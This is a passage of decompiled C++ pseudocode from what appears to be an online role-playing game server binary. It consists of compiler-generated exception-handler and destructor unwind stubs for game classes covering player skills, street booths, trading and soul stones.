_ehhandler__so_mobile_Teleport_ShinePlayer_ShineObjectClass__UAEXAAUSHINE_XY_TYPE___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596EB0) -------------------------------------------------------- void __usercall _L163985(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 428)); } //----- (00596EBB) -------------------------------------------------------- void __usercall _L163986(int a1) { AxialListMagicFieldAggro::_AxialListMagicFieldAggro((AxialListMagicFieldAggro *)(a1 - 424)); } //----- (00596EC6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mgcfld_MagicFieldSpread_ShineMagicField_ShineObjectClass__UAEXGPAVShineMobileObject_2_PBUSkillDataIndex_SkillDataBox__PAUSHINE_XY_TYPE__PAUSKILL_EMPOWER___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596ED0) -------------------------------------------------------- void __usercall _L164290(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00596ED8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_SKILL_UNLEARN_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596EF0) -------------------------------------------------------- void __usercall _L165159(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00596EF8) -------------------------------------------------------- void __usercall _L165160(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00596F00) -------------------------------------------------------- void __usercall _L165161(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00596F08) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_SkillBash_Casting_ShineMobileObject_ShineObjectClass__QAEXPBUSkillDataIndex_SkillDataBox__PAVShineObject_2_PAUSHINE_XY_TYPE__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596F20) -------------------------------------------------------- void __usercall _L166897(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00596F28) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_BAT_SKILLBASH_OBJ_CAST_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596F40) -------------------------------------------------------- void __usercall _L168580(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00596F48) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__csl_UnLearn_CharaterSkillList__QAEXG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596F60) -------------------------------------------------------- void __usercall _L169326(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00596F68) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sds_TemplateStore_SkillDamageSender_SkillEffectApply__QAEXPAVShineMobileObject_ShineObjectClass__PAUSkillResultBuffer__HHHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596F80) -------------------------------------------------------- void __usercall _L169377(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 260)); } //----- (00596FA0) -------------------------------------------------------- void __usercall _L169661(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00596FA8) -------------------------------------------------------- void __usercall _L169662(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 68)); } //----- (00596FB0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__alsst_SkillBlast_AxialListScanSkillTarget__QAEXPBUSkillDataIndex_SkillDataBox__PAUSKILL_EMPOWER__HPAUMultiHitArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596FC0) -------------------------------------------------------- void __usercall _L169813(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00596FC8) -------------------------------------------------------- void __usercall _L169814_0(int a1) { VectorClass::VectorWithLength::_VectorWithLength((VectorClass::VectorWithLength *)(a1 - 28)); } //----- (00596FD0) -------------------------------------------------------- void __usercall _L169815(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 40)); } //----- (00596FD8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_SkillBash_Blast_ShineMobileObject_ShineObjectClass__QAEXPAVShineObject_2_PAUSKILL_EMPOWER___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596FF0) -------------------------------------------------------- void __usercall _L170170(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (00596FF8) -------------------------------------------------------- void __usercall _L170171(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 80)); } //----- (00597000) -------------------------------------------------------- void __usercall _L170172(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 68)); } //----- (00597008) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_SkillBash_Blast_Trap_ShineMobileObject_ShineObjectClass__QAEXPAVShineObject_2_PAUSKILL_EMPOWER__PBUSkillDataIndex_SkillDataBox___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597020) -------------------------------------------------------- void __usercall _L170302(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00597028) -------------------------------------------------------- void __usercall _L170303(int a1) { FanFormSectorArgument::_FanFormSectorArgument((FanFormSectorArgument *)(a1 - 32)); } //----- (00597030) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbe_BlastObject_SkillBlastEffect_SkillEffectApply__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597040) -------------------------------------------------------- void __usercall _L170409(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00597048) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbe_BlastLocate_SkillBlastEffect_SkillEffectApply__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597060) -------------------------------------------------------- void __usercall _L146984(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (00597068) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1__unnamed_SkillDataBox__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597080) -------------------------------------------------------- void __usercall _L158175(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00597088) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__cn_AppendList_CoordedNode_SlantedCoordList__QAEEPAV12__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005970A0) -------------------------------------------------------- void __usercall _L158510(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005970A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__cn_Rearrange_CoordedNode_SlantedCoordList__QAEXPAVFieldMap__PAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005970C0) -------------------------------------------------------- void __usercall _L158788(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005970C8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_PointStoneBuy_ShinePlayer_ShineObjectClass__QAEXPBUPointSoulStone_PrimaryParameter__HHHHHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005970E0) -------------------------------------------------------- void __usercall _L159047(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (005970E8) -------------------------------------------------------- void __usercall _L159048(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (005970F0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_SPStoneUse_ShinePlayer_ShineObjectClass__AAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597100) -------------------------------------------------------- void __usercall _L159289_1(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00597108) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_SOULSTONE_SP_BUY_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597120) -------------------------------------------------------- void __usercall _L159418(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00597128) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_SOULSTONE_SP_USE_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597140) -------------------------------------------------------- void __usercall _L60350(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (00597148) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1SpamerPenaltyDataBox__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597160) -------------------------------------------------------- void __usercall _L159088(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00597168) -------------------------------------------------------- void __usercall _L159089(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00597170) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_FindItemFromInventory_ShinePlayer_ShineObjectClass__QAEPAVItemInventoryCell__GPATITEM_INVEN___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597180) -------------------------------------------------------- void __usercall _L159188(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0059718B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_SparrowWingExpand_ShinePlayer_ShineObjectClass__UAEXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005971A0) -------------------------------------------------------- void __usercall _L159377_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (005971C0) -------------------------------------------------------- void __usercall _L159475(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (005971C8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_SparrowWingFly_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005971E0) -------------------------------------------------------- void __usercall _L147214(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005971E8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__io_ReadReport_IntelligenceOffice_SpyNet__QAEXPAVShineObject_ShineObjectClass__PAVEspionageAgent_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597200) -------------------------------------------------------- void __usercall _L159234(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 168)); } //----- (0059720B) -------------------------------------------------------- void __usercall _L159236_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 160)); } //----- (00597216) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_CHAR_STAT_DECPOINT_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597220) -------------------------------------------------------- void __usercall _L159581(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00597228) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_StatRemainSend_ShinePlayer_ShineObjectClass__IAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597240) -------------------------------------------------------- void __usercall _L159637(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00597248) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_CHAR_FREESTAT_SET_DB_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597260) -------------------------------------------------------- void __usercall _L160810(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00597268) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___6Maker_StringMaker__QAEAAV01_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597280) -------------------------------------------------------- void __usercall _L161254(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00597288) -------------------------------------------------------- void __usercall _L161256(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00597290) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_BOOTH_INTERIORSTART_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005972A0) -------------------------------------------------------- void __usercall _L161334(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (005972A8) -------------------------------------------------------- void __usercall _L161336(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (005972B0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_BOOTH_OPEN_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005972C0) -------------------------------------------------------- void __usercall _L161625_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005972C8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sb_Show2Client_StreetBoothSell__UAEXPAVShineObject_ShineObjectClass__PAVShinePlayer_3_E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005972E0) -------------------------------------------------------- void __usercall _L158774(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005972E8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbb_BuyAll_StreetBoothBuy__AAEXPAVShinePlayer_ShineObjectClass__0PAUPROTO_NC_BOOTH_ITEMTRADE_REQ___KPAVItemInventoryCell__3HH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597300) -------------------------------------------------------- void __usercall _L159028(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 252)); } //----- (0059730B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbb_BuySplitCreate_StreetBoothBuy__AAEXPAVShinePlayer_ShineObjectClass__0PAUPROTO_NC_BOOTH_ITEMTRADE_REQ___KPAVItemInventoryCell__3HH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597320) -------------------------------------------------------- void __usercall _L159173(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 108)); } //----- (00597328) -------------------------------------------------------- void __usercall _L159174(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00597330) -------------------------------------------------------- void __usercall _L159175_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 48)); } //----- (00597338) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sb_Trade_StreetBoothBuy__UAEXPAVShinePlayer_ShineObjectClass__0PAUPROTO_NC_BOOTH_ITEMTRADE_REQ___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597350) -------------------------------------------------------- void __usercall _L158766_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00597358) -------------------------------------------------------- void __usercall _L158767(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00597370) -------------------------------------------------------- void __usercall _L158963(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 252)); } //----- (0059737B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbs_SellMerge_StreetBoothSell__AAEXPAVShinePlayer_ShineObjectClass__0PAUPROTO_NC_BOOTH_ITEMTRADE_REQ__PAVItemBoxIterator___K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597390) -------------------------------------------------------- void __usercall _L159129(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 252)); } //----- (0059739B) -------------------------------------------------------- void __usercall _L159130(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 280)); } //----- (005973A6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbs_SellSplitCreate_StreetBoothSell__AAEXPAVShinePlayer_ShineObjectClass__0PAUPROTO_NC_BOOTH_ITEMTRADE_REQ___K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005973B0) -------------------------------------------------------- void __usercall _L159344_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005973B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_BOOTHTRADE_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005973D0) -------------------------------------------------------- void __usercall _L159377_1(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (005973D8) -------------------------------------------------------- void __usercall _L159378(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (005973E0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sb_Trade_StreetBoothSell__UAEXPAVShinePlayer_ShineObjectClass__0PAUPROTO_NC_BOOTH_ITEMTRADE_REQ___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005973F0) -------------------------------------------------------- void __usercall _L149659(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005973F8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_ThirdPromote_ShinePlayer_ShineObjectClass__QAEXGE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597421) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_copy_PAV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__PAV12_V__allocator_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2__std__YAPAV__basic_string_DU__char_traits_D_std__V__allocator_D_2__0_PAV10_00AAV__allocator_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597441) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_fill_n_PAV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__IV12_V__allocator_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2__std__YAXPAV__basic_string_DU__char_traits_D_std__V__allocator_D_2__0_IABV10_AAV__allocator_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597458) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__V__allocator_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2__std__IAEXViterator_12_IABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597470) -------------------------------------------------------- void __usercall _L15688(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 72)); } //----- (00597478) -------------------------------------------------------- void __usercall _L15689(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00597490) -------------------------------------------------------- void __usercall _L159191(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00597498) -------------------------------------------------------- void __usercall _L159192(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (005974A0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_CloseStreetBooth_ShinePlayer_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005974B0) -------------------------------------------------------- void __usercall _L159264(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005974B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_CloseByLink_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005974D0) -------------------------------------------------------- void __usercall _L159266(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005974D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__tb_Home_TradeBoard__QAEEPAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005974F0) -------------------------------------------------------- void __usercall _L159307(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (00597500) -------------------------------------------------------- void __usercall _L159309(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 44)); } //----- (00597520) -------------------------------------------------------- void __usercall _L159839(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 76)); } //----- (00597528) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_TRADE_DECIDE_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597540) -------------------------------------------------------- void __usercall _L147773(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00597548) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__tb_OffBoard_TradeBoard__QAEHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597560) -------------------------------------------------------- void __usercall _L147825(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00597568) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_TRADE_DOWNBOARD_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00597580) -------------------------------------------------------- void __usercall _L148201(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00597588) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__tb_OnBoard_TradeBoard__QAEHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005975A0) -------------------------------------------------------- void __usercall _L148247(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (005975A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_TRADE_UPBOARD_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005975C0) -------------------------------------------------------- void __usercall _L150938(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005975C8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__tcm_PutInto_TreasureChestMaker__QAEHHPAUPROTO_ITEM_CMD__HPAVTreasureChestLocationManager__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005975E0) 